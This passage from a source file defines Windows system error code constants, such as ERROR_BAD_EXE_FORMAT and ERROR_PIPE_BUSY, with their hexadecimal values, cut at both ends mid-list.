0x000000be\nERROR_INVALID_EXE_SIGNATURE                                              = 0x000000bf\nERROR_EXE_MARKED_INVALID                                                 = 0x000000c0\nERROR_BAD_EXE_FORMAT                                                     = 0x000000c1\nERROR_ITERATED_DATA_EXCEEDS_64k                                          = 0x000000c2\nERROR_INVALID_MINALLOCSIZE                                               = 0x000000c3\nERROR_DYNLINK_FROM_INVALID_RING                                          = 0x000000c4\nERROR_IOPL_NOT_ENABLED                                                   = 0x000000c5\nERROR_INVALID_SEGDPL                                                     = 0x000000c6\nERROR_AUTODATASEG_EXCEEDS_64k                                            = 0x000000c7\nERROR_RING2SEG_MUST_BE_MOVABLE                                           = 0x000000c8\nERROR_RELOC_CHAIN_XEEDS_SEGLIM                                           = 0x000000c9\nERROR_INFLOOP_IN_RELOC_CHAIN                                             = 0x000000ca\nERROR_ENVVAR_NOT_FOUND                                                   = 0x000000cb\nERROR_NO_SIGNAL_SENT                                                     = 0x000000cd\nERROR_FILENAME_EXCED_RANGE                                               = 0x000000ce\nERROR_RING2_STACK_IN_USE                                                 = 0x000000cf\nERROR_META_EXPANSION_TOO_LONG                                            = 0x000000d0\nERROR_INVALID_SIGNAL_NUMBER                                              = 0x000000d1\nERROR_THREAD_1_INACTIVE                                                  = 0x000000d2\nERROR_LOCKED                                                             = 0x000000d4\nERROR_TOO_MANY_MODULES                                                   = 0x000000d6\nERROR_NESTING_NOT_ALLOWED                                                = 0x000000d7\nERROR_EXE_MACHINE_TYPE_MISMATCH                                          = 0x000000d8\nERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY                                    = 0x000000d9\nERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY                             = 0x000000da\nERROR_FILE_CHECKED_OUT                                                   = 0x000000dc\nERROR_CHECKOUT_REQUIRED                                                  = 0x000000dd\nERROR_BAD_FILE_TYPE                                                      = 0x000000de\nERROR_FILE_TOO_LARGE                                                     = 0x000000df\nERROR_FORMS_AUTH_REQUIRED                                                = 0x000000e0\nERROR_VIRUS_INFECTED                                                     = 0x000000e1\nERROR_VIRUS_DELETED                                                      = 0x000000e2\nERROR_PIPE_LOCAL                                                         = 0x000000e5\nERROR_BAD_PIPE                                                           = 0x000000e6\nERROR_PIPE_BUSY                                                          = 0x000000e7\nERROR_NO_DATA                                                            = 0x000000e8\nERROR_PIPE_NOT_CONNECTED                                                 = 0x000000e9\nERROR_MORE_DATA                                                          = 0x000000ea\nERROR_VC_DISCONNECTED                                                    = 0x000000f0\nERROR_INVALID_EA_NAME                                                    = 0x000000fe\nERROR_EA_LIST_INCONSISTENT                                               = 0x000000ff\nWAIT_TIMEOUT                                                             = 0x00000102\nERROR_NO_MORE_ITEMS                                                      = 0x00000103\nERROR_CANNOT_COPY                                                        = 0x0000010a\nERROR_DIRECTORY                                                          = 0x0000010b\nERROR_EAS_DIDNT_FIT                                                      = 0x00000113\nERROR_EA_FILE_CORRUPT                                                    = 0x00000114\nERROR_EA_TABLE_FULL                                                      = 0x00000115\nERROR_INVALID_EA_HANDLE                                                  = 0x00000116\nERROR_EAS_NOT_SUPPORTED                                                  = 0x0000011a\nERROR_NOT_OWNER                                                          = 0x00000120\nERROR_TOO_MANY_POSTS                                                     = 0x0000012a\nERROR_PARTIAL_COPY                                                       = 0x0000012b\nERROR_OPLOCK_NOT_GRANTED                                                 = 0x0000012c\nERROR_INVALID_OPLOCK_PROTOCOL                                            = 0x0000012d\nERROR_DISK_TOO_FRAGMENTED                                                = 0x0000012e\nERROR_DELETE_PENDING                                                     = 0x0000012f\nERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING               = 0x00000130\nERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME                                  = 0x00000131\nERROR_SECURITY_STREAM_IS_INCONSISTENT                                    = 0x00000132\nERROR_INVALID_LOCK_RANGE                                                 = 0x00000133\nERROR_IMAGE_SUBSYSTEM_NOT_PRESENT                                        = 0x00000134\nERROR_NOTIFICATION_GUID_ALREADY_DEFINED                                  = 0x00000135\nERROR_INVALID_EXCEPTION_HANDLER                                          = 0x00000136\nERROR_DUPLICATE_PRIVILEGES                                               = 0x00000137\nERROR_NO_RANGES_PROCESSED                                                = 0x00000138\nERROR_NOT_ALLOWED_ON_SYSTEM_FILE                                         = 0x00000139\nERROR_DISK_RESOURCES_EXHAUSTED                                           = 0x0000013a\nERROR_INVALID_TOKEN                                                      = 0x0000013b\nERROR_DEVICE_FEATURE_NOT_SUPPORTED                                       = 0x0000013c\nERROR_MR_MID_NOT_FOUND                                                   = 0x0000013d\nERROR_SCOPE_NOT_FOUND                                                    = 0x0000013e\nERROR_UNDEFINED_SCOPE                                                    = 0x0000013f\nERROR_INVALID_CAP                                                        = 0x00000140\nERROR_DEVICE_UNREACHABLE                                                 = 0x00000141\nERROR_DEVICE_NO_RESOURCES                                                = 0x00000142\nERROR_DATA_CHECKSUM_ERROR                                                = 0x00000143\nERROR_INTERMIXED_KERNEL_EA_OPERATION                                     = 0x00000144\nERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED                                      = 0x00000146\nERROR_OFFSET_ALIGNMENT_VIOLATION                                         = 0x00000147\nERROR_INVALID_FIELD_IN_PARAMETER_LIST                                    = 0x00000148\nERROR_OPERATION_IN_PROGRESS                                              = 0x00000149\nERROR_BAD_DEVICE_PATH                                                    = 0x0000014a\nERROR_TOO_MANY_DESCRIPTORS                                               = 0x0000014b\nERROR_SCRUB_DATA_DISABLED                                                = 0x0000014c\nERROR_NOT_REDUNDANT_STORAGE                                              = 0x0000014d\nERROR_RESIDENT_FILE_NOT_SUPPORTED                                        = 0x0000014e\nERROR_COMPRESSED_FILE_NOT_SUPPORTED                                      = 0x0000014f\nERROR_DIRECTORY_NOT_SUPPORTED                                            = 0x00000150\nERROR_NOT_READ_FROM_COPY                                                 = 0x00000151\nERROR_FT_WRITE_FAILURE                                                   = 0x00000152\nERROR_FT_DI_SCAN_REQUIRED                                                = 0x00000153\nERROR_INVALID_KERNEL_INFO_VERSION                                        = 0x00000154\nERROR_INVALID_PEP_INFO_VERSION                                           = 0x00000155\nERROR_FAIL_NOACTION_REBOOT                                               = 0x0000015e\nERROR_FAIL_SHUTDOWN                                                      = 0x0000015f\nERROR_FAIL_RESTART                                                       = 0x00000160\nERROR_MAX_SESSIONS_REACHED                                               = 0x00000161\nERROR_THREAD_MODE_ALREADY_BACKGROUND                                     = 0x00000190\nERROR_THREAD_MODE_NOT_BACKGROUND                                         = 0x00000191\nERROR_PROCESS_MODE_ALREADY_BACKGROUND                                    = 0x00000192\nERROR_PROCESS_MODE_NOT_BACKGROUND                                        = 0x00000193\nERROR_INVALID_ADDRESS                                                    = 0x000001e7\nERROR_USER_PROFILE_LOAD                                                  = 0x000001f4\nERROR_ARITHMETIC_OVERFLOW                                                = 0x00000216\nERROR_PIPE_CONNECTED                                                     = 0x00000217\nERROR_PIPE_LISTENING                                                     = 0x00000218\nERROR_VERIFIER_STOP                                                      = 0x00000219\nERROR_ABIOS_ERROR                                                        = 0x0000021a\nERROR_WX86_WARNING                                                       = 0x0000021b\nERROR_WX86_ERROR                                                         = 0x0000021c\nERROR_TIMER_NOT_CANCELED                                                 = 0x0000021d\nERROR_UNWIND                                                             = 0x0000021e\nERROR_BAD_STACK                                                          = 0x0000021f\nERROR_INVALID_UNWIND_TARGET                                              = 0x00000220\nERROR_INVALID_PORT_ATTRIBUTES                                            = 0x00000221\nERROR_PORT_MESSAGE_TOO_LONG                                              = 0x00000222\nERROR_INVALID_QUOTA_LOWER                                                = 0x00000223\nERROR_DEVICE_ALREADY_ATTACHED                                            = 0x00000224\nERROR_INSTRUCTION_MISALIGNMENT                                           = 0x00000225\nERROR_PROFILING_NOT_STARTED                                              = 0x00000226\nERROR_PROFILING_NOT_STOPPED                                              = 0x00000227\nERROR_COULD_NOT_INTERPRET                                                = 0x00000228\nERROR_PROFILING_AT_LIMIT                                                 = 0x00000229\nERROR_CANT_WAIT                                                          = 0x0000022a\nERROR_CANT_TERMINATE_SELF                                                = 0x0000022b\nERROR_UNEXPECTED_MM_CREATE_ERR                                           = 0x0000022c\nERROR_UNEXPECTED_MM_MAP_ERROR                                            = 0x0000022d\nERROR_UNEXPECTED_MM_EXTEND_ERR                                           = 0x0000022e\nERROR_BAD_FUNCTION_TABLE                                                 = 0x0000022f\nERROR_NO_GUID_TRANSLATION                                                = 0x00000230\nERROR_INVALID_LDT_SIZE                                                   = 0x00000231\nERROR_INVALID_LDT_OFFSET                                                 = 0x00000233\nERROR_INVALID_LDT_DESCRIPTOR                                             = 0x00000234\nERROR_TOO_MANY_THREADS                                                   = 0x00000235\nERROR_THREAD_NOT_IN_PROCESS                                              = 0x00000236\nERROR_PAGEFILE_QUOTA_EXCEEDED                                            = 0x00000237\nERROR_LOGON_SERVER_CONFLICT                                              = 0x00000238\nERROR_SYNCHRONIZATION_REQUIRED                                           = 0x00000239\nERROR_NET_OPEN_FAILED                                                    = 0x0000023a\nERROR_IO_PRIVILEGE_FAILED                                                = 0x0000023b\nERROR_CONTROL_C_EXIT                                                     = 0x0000023c\nERROR_MISSING_SYSTEMFILE                                                 = 0x0000023d\nERROR_UNHANDLED_EXCEPTION                                                = 0x0000023e\nERROR_APP_INIT_FAILURE                                                   = 0x0000023f\nERROR_PAGEFILE_CREATE_FAILED                                             = 0x00000240\nERROR_INVALID_IMAGE_HASH                                                 = 0x00000241\nERROR_NO_PAGEFILE                                                        = 0x00000242\nERROR_ILLEGAL_FLOAT_CONTEXT                                              = 0x00000243\nERROR_NO_EVENT_PAIR                                                      = 0x00000244\nERROR_DOMAIN_CTRLR_CONFIG_ERROR                                          = 0x00000245\nERROR_ILLEGAL_CHARACTER                                                  = 0x00000246\nERROR_UNDEFINED_CHARACTER                                                = 0x00000247\nERROR_FLOPPY_VOLUME                                                      = 0x00000248\nERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT                                   = 0x00000249\nERROR_BACKUP_CONTROLLER                                                  = 0x0000024a\nERROR_MUTANT_LIMIT_EXCEEDED                                              = 0x0000024b\nERROR_FS_DRIVER_REQUIRED                                                 = 0x0000024c\nERROR_CANNOT_LOAD_REGISTRY_FILE                                          = 0x0000024d\nERROR_DEBUG_ATTACH_FAILED                                                = 0x0000024e\nERROR_SYSTEM_PROCESS_TERMINATED                                          = 0x0000024f\nERROR_DATA_NOT_ACCEPTED                                                  = 0x00000250\nERROR_VDM_HARD_ERROR                                                     = 0x00000251\nERROR_DRIVER_CANCEL_TIMEOUT                                              = 0x00000252\nERROR_REPLY_MESSAGE_MISMATCH                                             = 0x00000253\nERROR_LOST_WRITEBEHIND_DATA                                              = 0x00000254\nERROR_CLIENT_SERVER_PARAMETERS_INVALID                                   = 0x00000255\nERROR_NOT_TINY_STREAM                                                    = 0x00000256\nERROR_STACK_OVERFLOW_READ                                                = 0x00000257\nERROR_CONVERT_TO_LARGE                                                   = 0x00000258\nERROR_FOUND_OUT_OF_SCOPE                                                 = 0x00000259\nERROR_ALLOCATE_BUCKET                                                    = 0x0000025a\nERROR_MARSHALL_OVERFLOW                                                  = 0x0000025b\nERROR_INVALID_VARIANT                                                    = 0x0000025c\nERROR_BAD_COMPRESSION_BUFFER                                             = 0x0000025d\nERROR_AUDIT_FAILED                                                       = 0x0000025e\nERROR_TIMER_RESOLUTION_NOT_SET                                           = 0x0000025f\nERROR_INSUFFICIENT_LOGON_INFO                                            = 0x00000260\nERROR_BAD_DLL_ENTRYPOINT                                                 = 0x00000261\nERROR_BAD_SERVICE_ENTRYPOINT                                             = 0x00000262\nERROR_IP_ADDRESS_CONFLICT1                                               = 0x00000263\nERROR_IP_ADDRESS_CONFLICT2                                               = 0x00000264\nERROR_REGISTRY_QUOTA_LIMIT                                               = 0x00000265\nERROR_NO_CALLBACK_ACTIVE                                                 = 0x00000266\nERROR_PWD_TOO_SHORT                                                      = 0x00000267\nERROR_PWD_TOO_RECENT                                                     = 0x00000268\nERROR_PWD_HISTORY_CONFLICT                                               = 0x00000269\nERROR_UNSUPPORTED_COMPRESSION                                            = 0x0000026a\nERROR_INVALID_HW_PROFILE                                                 = 0x0000026b\nERROR_INVALID_PLUGPLAY_DEVICE_PATH                                       = 0x0000026c\nERROR_QUOTA_LIST_INCONSISTENT                                            = 0x0000026d\nERROR_EVALUATION_EXPIRATION                                              = 0x0000026e\nERROR_ILLEGAL_DLL_RELOCATION                                             = 0x0000026f\nERROR_DLL_INIT_FAILED_LOGOFF                                             = 0x00000270\nERROR_VALIDATE_CONTINUE                                                  = 0x00000271\nERROR_NO_MORE_MATCHES                                                    = 0x00000272\nERROR_RANGE_LIST_CONFLICT                                                = 0x00000273\nERROR_SERVER_SID_MISMATCH                                                = 0x00000274\nERROR_CANT_ENABLE_DENY_ONLY                                              = 0x00000275\nERROR_FLOAT_MULTIPLE_FAULTS                                              = 0x00000276\nERROR_FLOAT_MULTIPLE_TRAPS                                               = 0x00000277\nERROR_NOINTERFACE                                                        = 0x00000278\nERROR_DRIVER_FAILED_SLEEP                                                = 0x00000279\nERROR_CORRUPT_SYSTEM_FILE                                                = 0x0000027a\nERROR_COMMITMENT_MINIMUM                                                 = 0x0000027b\nERROR_PNP_RESTART_ENUMERATION                                            = 0x0000027c\nERROR_SYSTEM_IMAGE_BAD_SIGNATURE                                         = 0x0000027d\nERROR_PNP_REBOOT_REQUIRED                                                = 0x0000027e\nERROR_INSUFFICIENT_POWER                                                 = 0x0000027f\nERROR_MULTIPLE_FAULT_VIOLATION                                           = 0x00000280\nERROR_SYSTEM_SHUTDOWN                                                    = 0x00000281\nERROR_PORT_NOT_SET                                                       = 0x00000282\nERROR_DS_VERSION_CHECK_FAILURE                                           = 0x00000283\nERROR_RANGE_NOT_FOUND                                                    = 0x00000284\nERROR_NOT_SAFE_MODE_DRIVER                                               = 0x00000286\nERROR_FAILED_DRIVER_ENTRY                                                = 0x00000287\nERROR_DEVICE_ENUMERATION_ERROR                                           = 0x00000288\nERROR_MOUNT_POINT_NOT_RESOLVED                                           = 0x00000289\nERROR_INVALID_DEVICE_OBJECT_PARAMETER                                    = 0x0000028a\nERROR_MCA_OCCURED                                                        = 0x0000028b\nERROR_DRIVER_DATABASE_ERROR                                              = 0x0000028c\nERROR_SYSTEM_HIVE_TOO_LARGE                                              = 0x0000028d\nERROR_DRIVER_FAILED_PRIOR_UNLOAD                                         = 0x0000028e\nERROR_VOLSNAP_PREPARE_HIBERNATE                                          = 0x0000028f\nERROR_HIBERNATION_FAILURE                                                = 0x00000290\nERROR_PWD_TOO_LONG                                                       = 0x00000291\nERROR_FILE_SYSTEM_LIMITATION                                             = 0x00000299\nERROR_ASSERTION_FAILURE                                                  = 0x0000029c\nERROR_ACPI_ERROR                                                         = 0x0000029d\nERROR_WOW_ASSERTION                                                      = 0x0000029e\nERROR_PNP_BAD_MPS_TABLE                                                  = 0x0000029f\nERROR_PNP_TRANSLATION_FAILED                                             = 0x000002a0\nERROR_PNP_IRQ_TRANSLATION_FAILED                                         = 0x000002a1\nERROR_PNP_INVALID_ID                                                     = 0x000002a2\nERROR_WAKE_SYSTEM_DEBUGGER                                               = 0x000002a3\nERROR_HANDLES_CLOSED                                                     = 0x000002a4\nERROR_EXTRANEOUS_INFORMATION                                             = 0x000002a5\nERROR_RXACT_COMMIT_NECESSARY                                             = 0x000002a6\nERROR_MEDIA_CHECK                                                        = 0x000002a7\nERROR_GUID_SUBSTITUTION_MADE                                             = 0x000002a8\nERROR_STOPPED_ON_SYMLINK                                                 = 0x000002a9\nERROR_LONGJUMP                                                           = 0x000002aa\nERROR_PLUGPLAY_QUERY_VETOED                                              = 0x000002ab\nERROR_UNWIND_CONSOLIDATE                                                 = 0x000002ac\nERROR_REGISTRY_HIVE_RECOVERED                                            = 0x000002ad\nERROR_DLL_MIGHT_BE_INSECURE                                              = 0x000002ae\nERROR_DLL_MIGHT_BE_INCOMPATIBLE                                          = 0x000002af\nERROR_DBG_EXCEPTION_NOT_HANDLED                                          = 0x000002b0\nERROR_DBG_REPLY_LATER                                                    = 0x000002b1\nERROR_DBG_UNABLE_TO_PROVIDE_HANDLE                                       = 0x000002b2\nERROR_DBG_TERMINATE_THREAD                                               = 0x000002b3\nERROR_DBG_TERMINATE_PROCESS                                              = 0x000002b4\nERROR_DBG_CONTROL_C                                                      = 0x000002b5\nERROR_DBG_PRINTEXCEPTION_C                                               = 0x000002b6\nERROR_DBG_RIPEXCEPTION                                                   = 0x000002b7\nERROR_DBG_CONTROL_BREAK                                                  = 0x000002b8\nERROR_DBG_COMMAND_EXCEPTION                                              = 0x000002b9\nERROR_OBJECT_NAME_EXISTS                                                 = 0x000002ba\nERROR_THREAD_WAS_SUSPENDED                                               = 0x000002bb\nERROR_IMAGE_NOT_AT_BASE                                                  = 0x000002bc\nERROR_RXACT_STATE_CREATED                                                = 0x000002bd\nERROR_SEGMENT_NOTIFICATION                                               = 0x000002be\nERROR_BAD_CURRENT_DIRECTORY                                              = 0x000002bf\nERROR_FT_READ_RECOVERY_FROM_BACKUP                                       = 0x000002c0\nERROR_FT_WRITE_RECOVERY                                                  = 0x000002c1\nERROR_IMAGE_MACHINE_TYPE_MISMATCH                                        = 0x000002c2\nERROR_RECEIVE_PARTIAL                                                    = 0x000002c3\nERROR_RECEIVE_EXPEDITED                                                  = 0x000002c4\nERROR_RECEIVE_PARTIAL_EXPEDITED                                          = 0x000002c5\nERROR_EVENT_DONE                                                         = 0x000002c6\nERROR_EVENT_PENDING                                                      = 0x000002c7\nERROR_CHECKING_FILE_SYSTEM                                               = 0x000002c8\nERROR_FATAL_APP_EXIT                                                     = 0x000002c9\nERROR_PREDEFINED_HANDLE                                                  = 0x000002ca\nERROR_WAS_UNLOCKED                                                       = 0x000002cb\nERROR_SERVICE_NOTIFICATION                                               = 0x000002cc\nERROR_WAS_LOCKED                                                         = 0x000002cd\nERROR_LOG_HARD_ERROR                                                     = 0x000002ce\nERROR_ALREADY_WIN32                                                      = 0x000002cf\nERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE                                    = 0x000002d0\nERROR_NO_YIELD_PERFORMED                                                 = 0x000002d1\nERROR_TIMER_RESUME_IGNORED                                               = 0x000002d2\nERROR_ARBITRATION_UNHANDLED                                              = 0x000002d3\nERROR_CARDBUS_NOT_SUPPORTED                                              = 0x000002d4\nERROR_MP_PROCESSOR_MISMATCH                                              = 0x000002d5\nERROR_HIBERNATED                                                         = 0x000002d6\nERROR_RESUME_HIBERNATION                                                 = 0x000002d7\nERROR_FIRMWARE_UPDATED                                                   = 0x000002d8\nERROR_DRIVERS_LEAKING_LOCKED_PAGES                                       = 0x000002d9\nERROR_WAKE_SYSTEM                                                        = 0x000002da\nERROR_WAIT_1                                                             = 0x000002db\nERROR_WAIT_2                                                             = 0x000002dc\nERROR_WAIT_3                                                             = 0x000002dd\nERROR_WAIT_63                                                            = 0x000002de\nERROR_ABANDONED_WAIT_0                                                   = 0x000002df\nERROR_ABANDONED_WAIT_63                                                  = 0x000002e0\nERROR_USER_APC                                                           = 0x000002e1\nERROR_KERNEL_APC                                                         = 0x000002e2\nERROR_ALERTED                                                            = 0x000002e3\nERROR_ELEVATION_REQUIRED                                                 = 0x000002e4\nERROR_REPARSE                                                            = 0x000002e5\nERROR_OPLOCK_BREAK_IN_PROGRESS                                           = 0x000002e6\nERROR_VOLUME_MOUNTED                                                     = 0x000002e7\nERROR_RXACT_COMMITTED                                                    = 0x000002e8\nERROR_NOTIFY_CLEANUP                                                     = 0x000002e9\nERROR_PRIMARY_TRANSPORT_CONNECT_FAILED                                   = 0x000002ea\nERROR_PAGE_FAULT_TRANSITION                                              = 0x000002eb\nERROR_PAGE_FAULT_DEMAND_ZERO                                             = 0x000002ec\nERROR_PAGE_FAULT_COPY_ON_WRITE                                           = 0x000002ed\nERROR_PAGE_FAULT_GUARD_PAGE                                              = 0x000002ee\nERROR_PAGE_FAULT_PAGING_FILE                                             = 0x000002ef\nERROR_CACHE_PAGE_LOCKED                                                  = 0x000002f0\nERROR_CRASH_DUMP                                                         = 0x000002f1\nERROR_BUFFER_ALL_ZEROS                                                   = 0x000002f2\nERROR_REPARSE_OBJECT                                                     = 0x000002f3\nERROR_RESOURCE_REQUIREMENTS_CHANGED                                      = 0x000002f4\nERROR_TRANSLATION_COMPLETE                                               = 0x000002f5\nERROR_NOTHING_TO_TERMINATE                                               = 0x000002f6\nERROR_PROCESS_NOT_IN_JOB                                                 = 0x000002f7\nERROR_PROCESS_IN_JOB                                                     = 0x000002f8\nERROR_VOLSNAP_HIBERNATE_READY                                            = 0x000002f9\nERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY                                 = 0x000002fa\nERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED                                 = 0x000002fb\nERROR_INTERRUPT_STILL_CONNECTED                                          = 0x000002fc\nERROR_WAIT_FOR_OPLOCK                                                    = 0x000002fd\nERROR_DBG_EXCEPTION_HANDLED                                              = 0x000002fe\nERROR_DBG_CONTINUE                                                       = 0x000002ff\nERROR_CALLBACK_POP_STACK                                                 = 0x00000300\nERROR_COMPRESSION_DISABLED                                               = 0x00000301\nERROR_CANTFETCHBACKWARDS                                                 = 0x00000302\nERROR_CANTSCROLLBACKWARDS                                                = 0x00000303\nERROR_ROWSNOTRELEASED                                                    = 0x00000304\nERROR_BAD_ACCESSOR_FLAGS                                                 = 0x00000305\nERROR_ERRORS_ENCOUNTERED                                                 = 0x00000306\nERROR_NOT_CAPABLE                                                        = 0x00000307\nERROR_REQUEST_OUT_OF_SEQUENCE                                            = 0x00000308\nERROR_VERSION_PARSE_ERROR                                                = 0x00000309\nERROR_BADSTARTPOSITION                                                   = 0x0000030a\nERROR_MEMORY_HARDWARE                                                    = 0x0000030b\nERROR_DISK_REPAIR_DISABLED                                               = 0x0000030c\nERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE            = 0x0000030d\nERROR_SYSTEM_POWERSTATE_TRANSITION                                       = 0x0000030e\nERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION                               = 0x0000030f\nERROR_MCA_EXCEPTION                                                      = 0x00000310\nERROR_ACCESS_AUDIT_BY_POLICY                                             = 0x00000311\nERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY                              = 0x00000312\nERROR_ABANDON_HIBERFILE                                                  = 0x00000313\nERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED                         = 0x00000314\nERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR                         = 0x00000315\nERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR                             = 0x00000316\nERROR_BAD_MCFG_TABLE                                                     = 0x00000317\nERROR_DISK_REPAIR_REDIRECTED                                             = 0x00000318\nERROR_DISK_REPAIR_UNSUCCESSFUL                                           = 0x00000319\nERROR_CORRUPT_LOG_OVERFULL                                               = 0x0000031a\nERROR_CORRUPT_LOG_CORRUPTED                                              = 0x0000031b\nERROR_CORRUPT_LOG_UNAVAILABLE                                            = 0x0000031c\nERROR_CORRUPT_LOG_DELETED_FULL                                           = 0x0000031d\nERROR_CORRUPT_LOG_CLEARED                                                = 0x0000031e\nERROR_ORPHAN_NAME_EXHAUSTED                                              = 0x0000031f\nERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE                                      = 0x00000320\nERROR_CANNOT_GRANT_REQUESTED_OPLOCK                                      = 0x00000321\nERROR_CANNOT_BREAK_OPLOCK                                                = 0x00000322\nERROR_OPLOCK_HANDLE_CLOSED                                               = 0x00000323\nERROR_NO_ACE_CONDITION                                                   = 0x00000324\nERROR_INVALID_ACE_CONDITION                                              = 0x00000325\nERROR_FILE_HANDLE_REVOKED                                                = 0x00000326\nERROR_IMAGE_AT_DIFFERENT_BASE                                            = 0x00000327\nERROR_EA_ACCESS_DENIED                                                   = 0x000003e2\nERROR_OPERATION_ABORTED                                                  = 0x000003e3\nERROR_IO_INCOMPLETE                                                      = 0x000003e4\nERROR_IO_PENDING                                                         = 0x000003e5\nERROR_NOACCESS                                                           = 0x000003e6\nERROR_SWAPERROR                                                          = 0x000003e7\nERROR_STACK_OVERFLOW                                                     = 0x000003e9\nERROR_INVALID_MESSAGE                                                    = 0x000003ea\nERROR_CAN_NOT_COMPLETE                                                   = 0x000003eb\nERROR_INVALID_FLAGS                                                      = 0x000003ec\nERROR_UNRECOGNIZED_VOLUME                                                = 0x000003ed\nERROR_FILE_INVALID                                                       = 0x000003ee\nERROR_FULLSCREEN_MODE                                                    = 0x000003ef\nERROR_NO_TOKEN                                                           = 0x000003f0\nERROR_BADDB                                                              = 0x000003f1\nERROR_BADKEY                                                             = 0x000003f2\nERROR_CANTOPEN                                                           = 0x000003f3\nERROR_CANTREAD                                                           = 0x000003f4\nERROR_CANTWRITE                                                          = 0x000003f5\nERROR_REGISTRY_RECOVERED                                                 = 0x000003f6\nERROR_REGISTRY_CORRUPT                                                   = 0x000003f7\nERROR_REGISTRY_IO_FAILED                                                 = 0x000003f8\nERROR_NOT_REGISTRY_FILE                                                  = 0x000003f9\nERROR_KEY_DELETED                                                        = 0x000003fa\nERROR_NO_LOG_SPACE                                                       = 0x000003fb\nERROR_KEY_HAS_CHILDREN                                                   = 0x000003fc\nERROR_CHILD_MUST_BE_VOLATILE                                             = 0x000003fd\nERROR_NOTIFY_ENUM_DIR                                                    = 0x000003fe\nERROR_DEPENDENT_SERVICES_RUNNING                                         = 0x0000041b\nERROR_INVALID_SERVICE_CONTROL                                            = 0x0000041c\nERROR_SERVICE_REQUEST_TIMEOUT                                            = 0x0000041d\nERROR_SERVICE_NO_THREAD                                                  = 0x0000041e\nERROR_SERVICE_DATABASE_LOCKED                                            = 0x0000041f\nERROR_SERVICE_ALREADY_RUNNING                                            = 0x00000420\nERROR_INVALID_SERVICE_ACCOUNT                                            = 0x00000421\nERROR_SERVICE_DISABLED                                                   = 0x00000422\nERROR_CIRCULAR_DEPENDENCY                                                = 0x00000423\nERROR_SERVICE_DOES_NOT_EXIST                                             = 0x00000424\nERROR_SERVICE_CANNOT_ACCEPT_CTRL                                         = 0x00000425\nERROR_SERVICE_NOT_ACTIVE                                                 = 0x00000426\nERROR_FAILED_SERVICE_CONTROLLER_CONNECT                                  = 0x00000427\nERROR_EXCEPTION_IN_SERVICE                                               = 0x00000428\nERROR_DATABASE_DOES_NOT_EXIST                                            = 0x00000429\nERROR_SERVICE_SPECIFIC_ERROR                                             = 0x0000042a\nERROR_PROCESS_ABORTED                                                    = 0x0000042b\nERROR_SERVICE_DEPENDENCY_FAIL                                            = 0x0000042c\nERROR_SERVICE_LOGON_FAILED                                               = 0x0000042d\nERROR_SERVICE_START_HANG                                                 = 0x0000042e\nERROR_INVALID_SERVICE_LOCK                                               = 0x0000042f\nERROR_SERVICE_MARKED_FOR_DELETE                                          = 0x00000430\nERROR_SERVICE_EXISTS                                                     = 0x00000431\nERROR_ALREADY_RUNNING_LKG                                                = 0x00000432\nERROR_SERVICE_DEPENDENCY_DELETED                                         = 0x00000433\nERROR_BOOT_ALREADY_ACCEPTED                                              = 0x00000434\nERROR_SERVICE_NEVER_STARTED                                              = 0x00000435\nERROR_DUPLICATE_SERVICE_NAME                                             = 0x00000436\nERROR_DIFFERENT_SERVICE_ACCOUNT                                          = 0x00000437\nERROR_CANNOT_DETECT_DRIVER_FAILURE                                       = 0x00000438\nERROR_CANNOT_DETECT_PROCESS_ABORT                                        = 0x00000439\nERROR_NO_RECOVERY_PROGRAM                                                = 0x0000043a\nERROR_SERVICE_NOT_IN_EXE                                                 = 0x0000043b\nERROR_NOT_SAFEBOOT_SERVICE                                               = 0x0000043c\nERROR_END_OF_MEDIA                                                       = 0x0000044c\nERROR_FILEMARK_DETECTED                                                  = 0x0000044d\nERROR_BEGINNING_OF_MEDIA                                                 = 0x0000044e\nERROR_SETMARK_DETECTED                                                   = 0x0000044f\nERROR_NO_DATA_DETECTED                                                   = 0x00000450\nERROR_PARTITION_FAILURE                                                  = 0x00000451\nERROR_INVALID_BLOCK_LENGTH                                               = 0x00000452\nERROR_DEVICE_NOT_PARTITIONED                                             = 0x00000453\nERROR_UNABLE_TO_LOCK_MEDIA                                               = 0x00000454\nERROR_UNABLE_TO_UNLOAD_MEDIA                                             = 0x00000455\nERROR_MEDIA_CHANGED                                                      = 0x00000456\nERROR_BUS_RESET                                                          = 0x00000457\nERROR_NO_MEDIA_IN_DRIVE                                                  = 0x00000458\nERROR_NO_UNICODE_TRANSLATION                                             = 0x00000459\nERROR_DLL_INIT_FAILED                                                    = 0x0000045a\nERROR_SHUTDOWN_IN_PROGRESS                                               = 0x0000045b\nERROR_NO_SHUTDOWN_IN_PROGRESS                                            = 0x0000045c\nERROR_IO_DEVICE                                                          = 0x0000045d\nERROR_SERIAL_NO_DEVICE                                                   = 0x0000045e\nERROR_IRQ_BUSY                                                           = 0x0000045f\nERROR_MORE_WRITES                                                        = 0x00000460\nERROR_COUNTER_TIMEOUT                                                    = 0x00000461\nERROR_FLOPPY_ID_MARK_NOT_FOUND                                           = 0x00000462\nERROR_FLOPPY_WRONG_CYLINDER                                              = 0x00000463\nERROR_FLOPPY_UNKNOWN_ERROR                                               = 0x00000464\nERROR_FLOPPY_BAD_REGISTERS                                               = 0x00000465\nERROR_DISK_RECALIBRATE_FAILED                                            = 0x00000466\nERROR_DISK_OPERATION_FAILED                                              = 0x00000467\nERROR_DISK_RESET_FAILED                                                  = 0x00000468\nERROR_EOM_OVERFLOW                                                       = 0x00000469\nERROR_NOT_ENOUGH_SERVER_MEMORY                                           = 0x0000046a\nERROR_POSSIBLE_DEADLOCK                                                  = 0x0000046b\nERROR_MAPPED_ALIGNMENT                                                   = 